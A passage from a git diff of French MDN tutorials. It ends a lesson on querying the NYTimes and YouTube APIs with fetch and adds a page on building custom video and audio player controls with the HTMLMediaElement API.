Note : Pour en savoir plus sur les différents paramètres d'URL qui peuvent être utilisés, vous pouvez consulter la documentation du NYTimes.

+
+ +
+

Note : Dans cet exemple, la validation du formulaire est assez rudimentaire : le terme recherché doit nécessairement être renseigné avant de pouvoir valider le formulaire grâce à l'attribut required. Les champs pour les dates doivent suivre un format particulier et elles ne seront pas envoyées tant que leur valeur ne se composera pas de 8 chiffres (en HTML, c'est ce qui est indiqué par l'attribut pattern="[0-9]{8}"). Voir la page sur la validation des données d'un formulaire pour en savoir plus sur ce fonctionnement.

+
+ +

Récupérer des données depuis l'API

+ +

Maintenant que nous avons construit notre URL, envoyons une requête à cet endroit. Pour cela, nous utiliserons l'API Fetch.

+ +

Dans la fonction fetchResults(), juste avant l'accolade de fin, ajoutez le fragment de code suivant :

+ +
// On utilise fetch() pour envoyer la requête à l'API
+fetch(url).then(function(result) {
+  return result.json();
+}).then(function(json) {
+  displayResults(json);
+});
+ +

On envoie la requête en passant la variable url comme paramètre à la fonction fetch() puis on convertit le corps de la réponse avec la fonction json() puis on passe le JSON ainsi obtenu à la fonction displayResults() afin que les données puissent être affichées dans l'interface utilisateur.

+ +

Afficher les données

+ +

Voyons maintenant comment afficher les données reçues. Dans le fichier contenant votre code, ajoutez la fonction suivante après la fonction fetchResults().

+ +
function displayResults(json) {
+  while (section.firstChild) {
+      section.removeChild(section.firstChild);
+  }
+
+  var articles = json.response.docs;
+
+  if(articles.length === 10) {
+    nav.style.display = 'block';
+  } else {
+    nav.style.display = 'none';
+  }
+
+  if(articles.length === 0) {
+    var para = document.createElement('p');
+    para.textContent = 'Aucun résultat reçu.'
+    section.appendChild(para);
+  } else {
+    for(var i = 0; i < articles.length; i++) {
+      var article = document.createElement('article');
+      var heading = document.createElement('h2');
+      var link = document.createElement('a');
+      var img = document.createElement('img');
+      var para1 = document.createElement('p');
+      var para2 = document.createElement('p');
+      var clearfix = document.createElement('div');
+
+      var current = articles[i];
+      console.log(current);
+
+      link.href = current.web_url;
+      link.textContent = current.headline.main;
+      para1.textContent = current.snippet;
+      para2.textContent = 'Mots-clés : ';
+      for(var j = 0; j < current.keywords.length; j++) {
+        var span = document.createElement('span');
+        span.textContent += current.keywords[j].value + ' ';
+        para2.appendChild(span);
+      }
+
+      if(current.multimedia.length > 0) {
+        img.src = 'http://www.nytimes.com/' + current.multimedia[0].url;
+        img.alt = current.headline.main;
+      }
+
+      clearfix.setAttribute('class','clearfix');
+
+      article.appendChild(heading);
+      heading.appendChild(link);
+      article.appendChild(img);
+      article.appendChild(para1);
+      article.appendChild(para2);
+      article.appendChild(clearfix);
+      section.appendChild(article);
+    }
+  }
+}
+ +

Il y a pas mal de code ici. Reprenons étape par étape pour l'expliquer :

+ +
    +
  • La boucle while est utilisée afin de supprimer tout le contenu d'un élément du DOM. Dans ce cas, on enlève ce qu'il y a dans l'élément {{htmlelement("section")}}. On teste si la <section> possède un élément fils et si c'est le cas, on retire le premier, ainsi de suite jusqu'à ce que l'élément <section> n'ait plus d'éléments fils.
    • +
  • Ensuite, on renseigne la variable articles avec json.response.docs : le tableau contenant les objets qui représentent les articles renvoyés par la recherche. Ce renommage sert uniquement à rendre le code plus simple.
    • +
  • Le premier bloc if() vérifie si 10 ont été renvoyés par l'API  (cette dernière envoie les articles par bloc de 10 à chaque appel). Dans ce cas, on affiche l'élément {{htmlelement("nav")}} qui contient des boutons de pagination 10 articles précédents/10 articles suivants. S'il y a moins de 10 articles, tout le contenu tiendra sur une page et il ne sera pas nécessaire d'avoir les boutons. Nous verrons comment « câbler » ces boutons pour qu'ils fonctionnent dans la prochaine section.
    • +
  • Le bloc if() suivant sert à vérifier si aucun article n'a été renvoyé. Lorsqu'il n'y a aucun résultat, on crée un élément {{htmlelement("p")}} qui affiche le texte "Aucun résultat reçu" puis on insère ce paragraphe dans l'élément <section>.
    • +
  • Si des articles sont renvoyés, on commence par créer les éléments qu'on souhaite utiliser afin de les afficher puis on insère le contenu dans chaque puis on insère ces éléments dans le DOM. Pour connaître les propriétés des objets obtenues via l'API, nous avons consulté la référence de l'API Article Search (voir les API NYTimes). La plupart de ces opérations sont assez parlantes mais voici quelques-unes qui sont notables : +
      +
    • On utilise une boucle for (for(var j = 0; j < current.keywords.length; j++) { ... } ) pour parcourir les mots-clés associés à chaque article et on insère ces mots-clés dans des éléments {{htmlelement("span")}} à l'intérieur d'un paragraphe <p>. De cette façon, nous pourrons plus facilement mettre en forme ces mots-clés.
      • +
    • On utilise un bloc if() (if(current.multimedia.length > 0) { ... }) afin de voir si l'article possède des images associées. Si c'est le cas, on affiche la première image qui existe.
      • +
    • On applique la classe "clearfix" à l'élément <div> afin de pouvoir le dégager.
      • +
    +
    • +
+ +

Câbler les boutons pour la pagination

+ +

Pour que les boutons de pagination fonctionnent, on incrémente (ou on décrémente) la valeur de la variable pageNumber puis on renvoie une requête avec la nouvelle valeur incluse dans le paramètre de l'URL page. Cela fonctionne car l'API du NYTimes ne renvoie que 10 résultats à la fois. S'il y a plus de 10 résultats disponibles, la requête renverra les 10 premiers (0 à 9) lorsque le paramètre page vaut 0 dans l'URL (ou lorsqu'il n'est pas inclus du tout, c'est la valeur par défaut). Les 10 prochains résultats (10 à 19) peuvent être récupérés lorsque le paramètre page vaut 1 et ainsi de suite.

+ +

En connaissant cela, on peut écrire une fonction pour gérer la pagination.

+ +
    +
  1. +

    Après l'appel existant à addEventListener(), on ajoute les deux prochaines lignes qui appelleront les fonctions nextPage() et previousPage() lorsqu'on cliquera sur le bouton correspondant :

    + + 
    nextBtn.addEventListener('click', nextPage);
+previousBtn.addEventListener('click', previousPage);
    +
    2. +
  2. +

    À la suite, on définit le corps de ces fonctions :

    + + 
    function nextPage(e) {
+  pageNumber++;
+  fetchResults(e);
+};
+
+function previousPage(e) {
+  if(pageNumber > 0) {
+    pageNumber--;
+  } else {
+    return;
+  }
+  fetchResults(e);
+};
    + +

    La première fonction est assez simple : on incrémente la variable pageNumber puis on exécute à nouveau la fonction fetchResults() afin d'afficher les prochains résultats.

    + +

    La seconde fonction est similaire, mais on prend la précaution de vérifier que pageNumber ne vaut pas déjà 0 avant de diminuer sa valeur (si la requête est envoyée avec un paramètre négatif, on pourrait avoir une erreur). Lorsque pageNumber vaut déjà 0, on sort de la fonction avec return afin d'éviter de lancer une requête pour rien (si on est déjà sur la première page, pas besoin de recharger les résultats à nouveau).

    +
    3. +
+ +
+

Note : Vous pouvez trouver l'exemple complet sur l'API du NYTimes sur GitHub.

+
+ +

Exemple d'utilisation de l'API YouTube

+ +

Nous avons également mis à disposition un autre exemple que vous pouvez étudier et adapter : exemple de recherche de vidéo YouTube. Dans cet exemple, on utilise deux API :

+ +
    +
  • L'API YouTube Data qui permet de chercher parmi les vidéos YouTube et de renvoyer des résultats.
    • +
  • L'API YouTube IFrame Player afin d'afficher les vidéos recherchées dans un lecteur vidéo, affiché dans une iframe pour les regarder.
    • +
+ +

Cet exemple est intéressant car il permet d'illustrer l'utilisation combinée de deux API tierces pour construire une application. La première API est une API REST tandis que la seconde est plus proche du fonctionnement de MapQuest (des méthodes spécifiques à l'API, etc.). On notera que les deux API ont besoin qu'une bibliothèque JavaScript soit chargée sur la page. L'API REST possède des fonctions qui permettent de gérer les requêtes HTTP et de renvoyer les résultats.

+ +

+ +

Nous n'allons pas détailler plus encore cet exemple ici, vous pouvez consulter le code source qui contient des commentaires expliquant son fonctionnement. Là encore, pour utiliser vous-même l'exemple, vous aurez besoin de récupérer une clé d'API et de l'insérer dans le code afin que les exemples fonctionnent.

+ +

Résumé

+ +

Dans cet article, nous avons vu une introduction à l'utilisation des API tierces afin d'ajouter des fonctionnalités à nos sites web.

+ +

{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html b/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html new file mode 100644 index 0000000000..358458db64 --- /dev/null +++ b/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html @@ -0,0 +1,518 @@ +--- +title: APIs vidéo et audio +slug: Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs +tags: + - API + - Apprendre + - Article + - Audio + - Codage + - Débutant + - Guide + - JavaScript + - Video +translation_of: Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}}
+ +

HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc. Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés.

+ + + + + + + + + + + + +
Prérequis:Les bases du JavaScript (voir premiers pas en JavaScript, les briques Javascript, Introduction aux objets), Introduction aux APIs web
Objectif:Apprendre à utiliser les APIs du navigateur pour contrôler la lecture de audio et vidéo.
+ +

Les balises HTML5 video et audio

+ +

Les balises {{htmlelement("video")}} et {{htmlelement("audio")}} permettent d'intégrer des vidéos et de l'audio dans des pages web. Comme nous l'avons montré dans Contenu audio et vidéo, une implémentation habituelle ressemble à ça :

+ +
<video controls>
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Votre navigateur ne supporte pas la vidéo HTML5. Voici à la place <a href="rabbit320.mp4">un lien vers la vidéo</a>.</p>
+</video>
+ +

Cela crée un lecteur vidéo à l'intérieur du navigateur:

+ +

{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html", '100%', 380)}}

+ +

Vous pouvez consulter toutes fonctionnalités HTML audio et vidéo dans l'article mentionné précédemment. Pour notre utilisation ici, l'attribut le plus intéressant est {{htmlattrxref("controls", "video")}}. Il permet d'activer l'ensemble des contrôles de lecture par défaut; si vous ne le spécifiez pas, vous aucun contrôle ne sera affiché:

+ +

{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats-no-controls.html", '100%', 380)}}

+ +

Ce n'est pas immédiatement utile pour la lecture de vidéos, mais ça a des avantages. Les contrôles natifs des navigateurs différent complètement d'un navigateur à l'autre — ce qui est embêtant pour un support global des différents navigateurs. Un autre problème est que le contrôles natifs sont généralement assez peu accessibles au clavier.

+ +

Vous pouvez régler ces deux problèmes en cachant les contrôles natifs (en supprimant l'attribut controls) et en les remplaçant par les votres en HTML, CSS et JavaScript. Dans la prochaine section, nous verrons les outils de base à notre disposition pour faire ça.

+ +

L'API HTMLMediaElement

+ +

L'API {{domxref("HTMLMediaElement")}}, spécifiée dans HTML5, fournit des fonctionnalités qui permettent de controller des lecteurs audio et vidéo avec JavaScript — avec par exemple {{domxref("HTMLMediaElement.play()")}} ou encore {{domxref("HTMLMediaElement.pause()")}}. Cette interface est disponible à la fois pour les balises {{htmlelement("audio")}} et {{htmlelement("video")}}, les fonctionnalités utiles pour les deux étant quasiment identiques. Voyons un exemple pour découvrir ces fonctionnalités.

+ +

Notre exemple final ressemblera (et fonctionnera) comme ceci:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/video-audio/finished/", '100%', 360)}}

+ +

Débuter

+ +

Pour commencer avec cet exemple, télechargez notre media-player-start.zip et décompressez-le dans un nouveau dossier sur votre disque dur. Si vous avez téléchargé notre dépôt d'exemples, vous le trouverez dans javascript/apis/video-audio/start/.

+ +

Si vous ouvrez la page HTML, vous devriez voir un lecteur HTML5 utilisant les contrôles natifs.

+ +

Exploration du HTML

+ +

Ouvrez le fichier HTML d'index. Vous allez voir que le HTML contient majoritairement du code pour le lecteur et ses contrôles:

+ +
<div class="player">
+  <video controls>
+    <source src="video/sintel-short.mp4" type="video/mp4">
+    <source src="video/sintel-short.mp4" type="video/webm">
+    <!-- fallback contenu ici -->
+  </video>
+  <div class="controls">
+    <button class="play" data-icon="P" aria-label="bascule lecture pause"></button>
+    <button class="stop" data-icon="S" aria-label="stop"></button>
+    <div class="timer">
+      <div></div>
+      <span aria-label="timer">00:00</span>
+    </div>
+    <button class="rwd" data-icon="B" aria-label="retour arrière"></button>
+    <button class="fwd" data-icon="F" aria-label="avance rapide"></button>
+  </div>
+</div>
+
+ +
    +
  • Le lecteur complet est englobé dans une balise {{htmlelement("div")}} pour pouvoir appliquer du style sur le bloc complet si nécessaire.
    • +
  • La balise {{htmlelement("video")}} contient deux éléments {{htmlelement("source")}} pour permettre la lecture du média selon les capacités de chaque navigateur.
    • +
  • La partie controls du HTML est la plus intéressante: +
      +
    • Il contient 4 {{htmlelement("button")}} : lecture/mise en pause, stop, retour arrière et avance rapide.
      • +
    • Chaque <button> a un nom de classe, un attribut data-icon (pour définir l'icône affichée), et un attribut aria-label (qui fournit une description de chaque bouton pour le rendre accessible). Le contenu d'un attribut aria-label est lu par les lecteurs d'écran quand l'élément sur lequel il se situe prend le focus.
      • +
    • Il y a également un élément {{htmlelement("div")}}, qui affiche le temps écoulé quand la vidéo est en cours de lecture. Pour s'amuser, nous avons mis deux mécanismes en place — un {{htmlelement("span")}} qui affiche le temps écoulé en minutes/secondes, et un autre <div> pour afficher une barre de progrès. Pour vous faire une idée du produit final, vous pouvez jeter un d'oeil à la version finie.
      • +
    +
    • +
+ +

Exploration du CSS

+ +

Maintenant, ouvrez le fichier CSS et jetez-y un coup d'oeil. Le CSS pour cet exemple n'est pas très compliqué, mais nous allons voir les éléments les plus intéressants ici. Tout d'abord, le style de .controls:

+ +
.controls {
+  visibility: hidden;
+  opacity: 0.5;
+  width: 400px;
+  border-radius: 10px;
+  position: absolute;
+  bottom: 20px;
+  left: 50%;
+  margin-left: -200px;
+  background-color: black;
+  box-shadow: 3px 3px 5px black;
+  transition: 1s all;
+  display: flex;
+}
+
+.player:hover .controls, player:focus .controls {
+  opacity: 1;
+}
+
+ +
    +
  • Nous commençons par définir la propriété {{cssxref("visibility")}} à hidden. Plus tard dans notre JavaScript, nous le rendrons visible, et supprimerons l'attribut controls de l'élément <video>. Ainsi, si pour une raison quelconque le JavaScript ne se charge pas, les utilisateurs peuvent toujours utiliser la vidéo avec les contrôles natifs.
    • +
  • Nous donnons aux propriétés une {{cssxref("opacity")}} de 0.5 par défaut, pour qu'ils ne soient pas génants lorsqu'on veut regarder la vidéo. Ce n'est qu'en passant la souris sur le lecteur que les contrôles sont affichés en pleine opacité.
    • +
  • Ne plaçons les boutons à l'intérieur du div en utilisant Flexbox ({{cssxref("display")}}: flex), c'est plus simple comme ça.
    • +
+ +

Ensuite, voyons les icônes des boutons:

+ +
@font-face {
+   font-family: 'HeydingsControlsRegular';
+   src: url('fonts/heydings_controls-webfont.eot');
+   src: url('fonts/heydings_controls-webfont.eot?#iefix') format('embedded-opentype'),
+        url('fonts/heydings_controls-webfont.woff') format('woff'),
+        url('fonts/heydings_controls-webfont.ttf') format('truetype');
+   font-weight: normal;
+   font-style: normal;
+}
+
+button:before {
+  font-family: HeydingsControlsRegular;
+  font-size: 20px;
+  position: relative;
+  content: attr(data-icon);
+  color: #aaa;
+  text-shadow: 1px 1px 0px black;
+}
+ +

Tout d'abord, en haut du CSS, nous utilisons un bloc {{cssxref("@font-face")}} pour importer une police web personnalisée. Il s'agit d'une police d'icônes — tous les caractères de l'alphabet correspondent à des icônes que vous pouvez utiliser dans votre application.

+ +

Ensuite, nous générons du contenu pour afficher une icône sur chaque bouton:

+ +
    +
  • Nous utilisons le sélecteur {{cssxref("::before")}} pour afficher le contenu au début de chaque élément {{htmlelement("button")}}.
    • +
  • Nous utilisons la propriété {{cssxref("content")}} pour que le contenu à afficher soit égal au contenu de l'attribut data-icon. Dans le cas du bouton play par exemple, data-icon contient un "P" majuscule.
    • +
  • Nous apliquons la police web personnalisée au bouton en utilisant {{cssxref("font-family")}}. Dans cette police, "P" est une icône "play", donc le bouton play a une icône "play" affichée dedans.
    • +
+ +

Les polices d'icônes sont très cool pour de nombreuses raisons: réduire les requêtes HTTP (puisque vous n'avez pas besoin de télécharger des icônes sous forme de fichiers image), bonne scalabilité, et le fait que vous pouvez utiliser les propriétés de texte pour les formatter — comme {{cssxref("color")}} et {{cssxref("text-shadow")}}.

+ +

Dernier point mais non des moindres, le CSS du décompte:

+ +
.timer {
+  line-height: 38px;
+  font-size: 10px;
+  font-family: monospace;
+  text-shadow: 1px 1px 0px black;
+  color: white;
+  flex: 5;
+  position: relative;
+}
+
+.timer div {
+  position: absolute;
+  background-color: rgba(255,255,255,0.2);
+  left: 0;
+  top: 0;
+  width: 0;
+  height: 38px;
+  z-index: 2;
+}
+
+.timer span {
+  position: absolute;
+  z-index: 3;
+  left: 19px;
+}
+ +
    +
  • Nous donnons au <div> .timer la propriété flex: 5, pour qu'il occupe la plus grande partie de la barre de contrôle en largeur. Nous ajoutons également {{cssxref("position")}}: relative, pour que les éléments à l'intérieur puissent être positionnés relativement à ses dimensions et non à celles de l'élément {{htmlelement("body")}}.
    • +
  • Le <div> interne est positionné en absolu pour être situé au-dessus du <div> externe. On lui donne également une largeur initiale de 0, de sorte qu'on ne le voie pas du tout. Au fur et à mesure de la lecture de la vidéo, la largeur sera augmentée via JavaScript.
    • +
  • Le <span> est également positionné en absolu pour être situé sur le côté gauche de la barre de progrès.
    • +
  • Nous donnons au <div> et au <span> le {{cssxref("z-index")}} approprié pour que les données soient visibles — qu'un élément n'en cache pas un autre.
    • +
+ +

Implémenter le JavaScript

+ +

Nous avons déjà une interface HTML et CSS assez complète; nous avons maintenant besoin de gérer les boutons pour que les contrôles fonctionnent.

+ +
    +
  1. +

    Créez un nouveau fichier JavaScript dans le même répertoire que votre fichier index.html. Nous l'appelerons custom-player.js.

    +
    2. +
  2. +

    En haut de ce fichier, insérez le code suivant:

    + + 
    var media = document.querySelector('video');
+var controls = document.querySelector('.controls');
+
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+var rwd = document.querySelector('.rwd');
+var fwd = document.querySelector('.fwd');
+
+var timerWrapper = document.querySelector('.timer');
+var timer = document.querySelector('.timer span');
+var timerBar = document.querySelector('.timer div');
+
    + +

    Ici, nous créons des variables pour stocker les références de tous les objets que nous voulons manipuler. Nous avons trois groupes:

    + +
      +
    • L'élément <video>, et la barre de contrôle.
      • +
    • Les boutons play/pause, stop, retour arrière, et avance rapide.
      • +
    • Le <div> externe, le <span> qui décompte le temps écoulé, et le <div> interne qui affiche le progrès de la vidéo.
      • +
    +
    3. +
  3. +

    Ensuite, insérez ce qui suit en bas de votre code:

    + + 
    media.removeAttribute('controls');
+controls.style.visibility = 'visible';
    + +

    Ces deux lignes suppriment les contrôles par défaut du navigateur sur la vidéo, et rendent nos contrôles personnalisés visibles.

    +
    4. +
+ +

Lecture et pause de la vidéo

+ +

Imlémentons le contrôle le plus important — le bouton play/pause.

+ +
    +
  1. +

    Tout d'abord, ajoutez ce qui suit au bas de votre code, pour que la fonction playPauseMedia() soit invoquée quand le bouton play est cliqué:

    + + 
    play.addEventListener('click', playPauseMedia);
+
    +
    2. +
  2. +

    Maintenant, définissons playPauseMedia() — ajoutez ce qui suit, toujours au bas de votre code:

    + + 
    function playPauseMedia() {
+  if(media.paused) {
+    play.setAttribute('data-icon','u');
+    media.play();
+  } else {
+    play.setAttribute('data-icon','P');
+    media.pause();
+  }
+}
    + +

    Ici, nous utilisons une instruction if pour vérifier si la vidéo est en pause. La propriété {{domxref("HTMLMediaElement.paused")}} retourne vrai si le média est en pause — c'est le cas quand la vidéo n'est pas en cours de lecture, y compris quand la vidéo est au début après son chargement. Si elle est en pause, nous définissons la valeur de l'attribut data-icon à "u", qui est une icône "en pause", et invoquons la  méthode {{domxref("HTMLMediaElement.play()")}} pour jouer le média.

    + +

    Au second clic, le bouton sera de nouveau alterné — l'icône "play" sera affiché, et la vidéo sera mise en pause avec {{domxref("HTMLMediaElement.paused()")}}.

    +
    3. +
+ +

Stopper la vidéo

+ +
    +
  1. +

    Ajoutons la possibilité d'arrêter la vidéo. Ajoutez les lignes addEventListener() suivantes au-dessous de vos ajouts précédents:

    + + 
    stop.addEventListener('click', stopMedia);
+media.addEventListener('ended', stopMedia);
+
    + +

    L'événement {{event("click")}} est explicite — nous voulons stopper la vidéo en appelant la fonction stopMedia() quand le bouton stop est cliqué. Cependant, nous voulons également stopper la vidéo quand elle a fini de jouer — signalé par l'événement {{event("ended")}}, nous pouvons donc mettre en place un gestionnaire d'événement pour exécuter la fonction quand cet événément se produit.

    +
    2. +
  2. +

    Ensuite, définissons stopMedia() — ajoutez ce qui suit après la fonction playPauseMedia():

    + + 
    function stopMedia() {
+  media.pause();
+  media.currentTime = 0;
+  play.setAttribute('data-icon','P');
+}
+
    + +

    Il n'y a pas de méthode stop() dans l'API  HTMLMediaElement — l'équivalent du stop est de mettre pause() sur la vidéo, et de définir la propriété {{domxref("HTMLMediaElement.currentTime","currentTime")}} à 0. Définir une valeur à currentTime (en secondes) change immédiatement la position du temps du média.

    + +

    Tout ce qui nous reste à faire après ça est d'afficher l'icône "play". Que la vidéo ait été en train de jouer ou en pause, quand le bouton stop est pressé, vous voulez qu'elle doit prête à être lue.

    +
    3. +
+ +

Retour arrière et avance rapide

+ +

Il y a différentes manières d'implémenter le retour arrière et l'avance rapide; ici, nous vous montrons une manière relativement complexe de le faire, qui n'a pas de comportement inattendu quand différents boutons sont pressés dans un ordre aléatoire.

+ +
    +
  1. +

    Tout d'abord, ajoutez les lignes addEventListener() suivantes à la suite des précédentes:

    + + 
    rwd.addEventListener('click', mediaBackward);
+fwd.addEventListener('click', mediaForward);
+
    +
    2. +
  2. +

    Maintenant, occupons-nous des fonctions des gestionnaires d'événément — ajoutez le code suivant à la suite des fonctions précédentes pour définir mediaBackward() et mediaForward():

    + + 
    var intervalFwd;
+var intervalRwd;
+
+function mediaBackward() {
+  clearInterval(intervalFwd);
+  fwd.classList.remove('active');
+
+  if(rwd.classList.contains('active')) {
+    rwd.classList.remove('active');
+    clearInterval(intervalRwd);
+    media.play();
+  } else {
+    rwd.classList.add('active');
+    media.pause();
+    intervalRwd = setInterval(windBackward, 200);
+  }
+}
+
+function mediaForward() {
+  clearInterval(intervalRwd);
+  rwd.classList.remove('active');
+
+  if(fwd.classList.contains('active')) {
+    fwd.classList.remove('active');
+    clearInterval(intervalFwd);
+    media.play();
+  } else {
+    fwd.classList.add('active');
+    media.pause();
+    intervalFwd = setInterval(windForward, 200);
+  }
+}
+
    + +

    Vous remarquerez que nous commençons par initialiser deux variables — intervalFwd et intervalRwd — vous verrez à quoi elles servent plus tard.

    + +

    Voyons pas à pas mediaBackward() (mediaForward() fait la même chose, mais dans l'autre sens):

    + +
      +
    1. Nous effaçons les classes et intervales qui sont définits sur la fonctionnalité d'avance rapide — de cette manière, si on presse le bouton rwd après avoir pressé le bouton fwd, on annule l'avance rapide et la remplaçons avec le retour arrière. Si on essayait de faire les deux à la fois, le lecteur échouerait.
      2. +
    2. Nous utilisons une instruction if pour vérifier si la classe active a été définie sur le bouton rwd, ce qui indique qu'il a déjà été pressé. La propriété {{domxref("classList")}} est une propriété plutôt pratique qui existe sur chaque élément — elle contient une liste de toutes les classes définies sur l'élément, ainsi que des méthodes pour en ajouter/supprimer, etc. Nous utilisons la méthode classList.contains() pour vérifier si la liste contient la classe active. Cela retourne un booléen true/false en résultat.
      3. +
    3. Si la classe active a été définie sur le bouton rwd, nous la supprimons avec classList.remove(), effaçons l'intervale qui a été définit sur le bouton quand il a été pressé (voir ci-dessous pour plus d'explication), et utilisons {{domxref("HTMLMediaElement.play()")}} pour annuler le retour arrière et démarrer la vidéo normalement.
      4. +
    4. +

      Sinon, nous ajoutons la classe active sur le bouton rwd avec classList.add(), mettons la vidéo en pause en utilisant {{domxref("HTMLMediaElement.pause()")}}, puis définissons la variable intervalRwd en appelant {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Quand elle invoquée, la fonction setInterval() créé un intervale actif, ce qui signifie qu'une fonction donnée en paramètre est exécutée toutes les x millisecondes — x est la valeur du 2ème paramètre. Ainsi, nous exécutons ici la fonction windBackward() toutes les 200 millisecondes — nous utiliserons cette fonction pour retourner la fonction en arrière de manière constante. Pour stopper un intervale actif, vous devez appeler {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} en lui donnant l'intervale à arrêter en paramètre, dans notre cas il est stocké dans la variable intervalRwd (voir l'appel à clearInterval() effectué plus tôt dans la fonction).

      +
      5. +
    +
    3. +
  3. +

    Pour en finir avec cette section, nous devons définir les fonctions windBackward() et windForward() invoquées dans les appels setInterval(). Ajoutez ce qui suit après les deux fonctions précédentes:

    + + 
    function windBackward() {
+  if(media.currentTime <= 3) {
+    rwd.classList.remove('active');
+    clearInterval(intervalRwd);
+    stopMedia();
+  } else {
+    media.currentTime -= 3;
+  }
+}
+
+function windForward() {
+  if(media.currentTime >= media.duration - 3) {
+    fwd.classList.remove('active');
+    clearInterval(intervalFwd);
+    stopMedia();
+  } else {
+    media.currentTime += 3;
+  }
+}
    + Encore une fois, nous allons voir pas à pas la première fonction, puisque les deux fonctions font la même chose mais dans le sens inverse. Dans windBackward(), nous faisons comme suit — gardez à l'esprit que la fonction est exécutée toutes les 200 millisecondes. + +
      +
    1. Nous commençons avec une instruction if qui vérifie si le temps en cours est inférieur à 3 secondes, c'est à dire si le retour arrière nous ramènerait avant le début de la vidéo. Cela provoquerait un comportement étrange. Ainsi, si c'est le cas, nous arrêtons la vidéo en appelant stopMedia(), supprimons la classe active du bouton, et stoppons l'intervale intervalRwd pour stopper le retour arrière. Si nous n'avions pas ajouté cette dernière étape, la vidéo continuerait de se remboniner éternellement.
      2. +
    2. Si le temps en cours n'est pas inférieur à 3 secondes, nous retournons en arrière de 3 secondes en exécutant media.currentTime -= 3. Dans les faits, on rembobine donc la vidéo de 3 secondes toutes les 200 millisecondes.
      3. +
    +
    4. +
+ +

Mettre à jour le temps écoulé

+ +

La dernière chose à implémenter pour notre lecteur multimédia est l'affichage du temps écoulé. Pour ce faire, nous allons exécuter une fonction pour mettre à jour le temps affiché à chaque fois que l'événement {{event("timeupdate")}} est déclenché sur l'élément <video>. La fréquence à laquelle cet événement se déclenche dépend de votre navigateur, de la puissance de votre CPU, etc (voir post stackoverflow).

+ +

Ajoutez la ligne addEventListener() suivante à la suite des autres:

+ +
media.addEventListener('timeupdate', setTime);
+ +

Maintenant, ajoutez la fonction setTime():

+ +
function setTime() {
+  var minutes = Math.floor(media.currentTime / 60);
+  var seconds = Math.floor(media.currentTime - minutes * 60);
+  var minuteValue;
+  var secondValue;
+
+  if (minutes < 10) {
+    minuteValue = '0' + minutes;
+  } else {
+    minuteValue = minutes;
+  }
+
+  if (seconds < 10) {
+    secondValue = '0' + seconds;
+  } else {
+    secondValue = seconds;
+  }
+
+  var mediaTime = minuteValue + ':' + secondValue;
+  timer.textContent = mediaTime;
+
+  var barLength = timerWrapper.clientWidth * (media.currentTime/media.duration);
+  timerBar.style.width = barLength + 'px';
+}
+
+ +

C'est une fonction assez longue, alors allons-y étape par étape:

+ +
    +
  1. Tout d'abord, nous récupérons le nombre de minutes et de secondes à partir de {{domxref("HTMLMediaElement.currentTime")}}.
    2. +
  2. Ensuite, on initialise deux variables supplémentaires — minuteValue et secondValue.
    3. +
  3. Les deux instructions if qui suivent déterminent si le nombre de minutes et secondes est inférieur à 10. Si c'est le cas, on ajoute un zéro à gauche pour afficher le numéro sur deux chiffres — comme sur une horloge digitale.
    4. +
  4. Le temps est au final la concaténation de minuteValue, un caractère deux-points, et secondValue.
    5. +
  5. Le temps qu'on vient de définir devient la valeur {{domxref("Node.textContent")}} du décompte, pour qu'il s'affiche dans l'interface utilisateur.
    6. +
  6. La largeur que nous devons donner <div> intérieur est calculée en récupérant la largeur du <div> externe (la propriété {{domxref("HTMLElement.clientWidth", "clientWidth")}} retourne la largeur de l'élément), et en la multipliant par {{domxref("HTMLMediaElement.currentTime")}} divisé par le total {{domxref("HTMLMediaElement.duration")}} du média.
    7. +
  7. Nous assignons la largeur du <div> intérieur à la valeur calculée, plus "px", il sera donc fixé à ce nombre de pixels.
    8. +
+ +

Corriger play et pause

+ +

Il nous reste un problème à régler. Si on presse les boutons play/pause ou stop pendant que le retour arrière ou l'avance rapide sont actifs, alors ça ne marchera pas. Comment corriger le code pour qu'ils annulent l'action rwd/fwd et joue/stoppe la vidéo comme on s'y attendrait? C'est relativement simple.

+ +

Tout d'abord, ajoutez les lignes qui suivent à l'intérieur de la fonction stopMedia() — n'importe où:

+ +
rwd.classList.remove('active');
+fwd.classList.remove('active');
+clearInterval(intervalRwd);
+clearInterval(intervalFwd);
+
+ +

Maintenant, ajoutez ces mêmes lignes une fois de plus, au début de la fonction playPauseMedia() (juste avant le début de l'instruction if).

+ +

À ce stade, vous pouvez supprimer les lignes équivalentes des fonctions windBackward() et windForward(), puisqu'elles ont été ajoutées à la fonction stopMedia() à la place.

+ +
+

Note: Vous pouvez améliorer votre code en créant une fonction séparée qui exécute ces lignes, et l'appeler aux endroits où vous en avez besoin plutôt que de répéter ces lignes à de multiples endroits du code. Mais nous vous laissons vous en occuper.

+
+ +
+

Note: Le code terminé est disponible sur Github (le voir en direct).

+
+ +

Sommaire

+ +

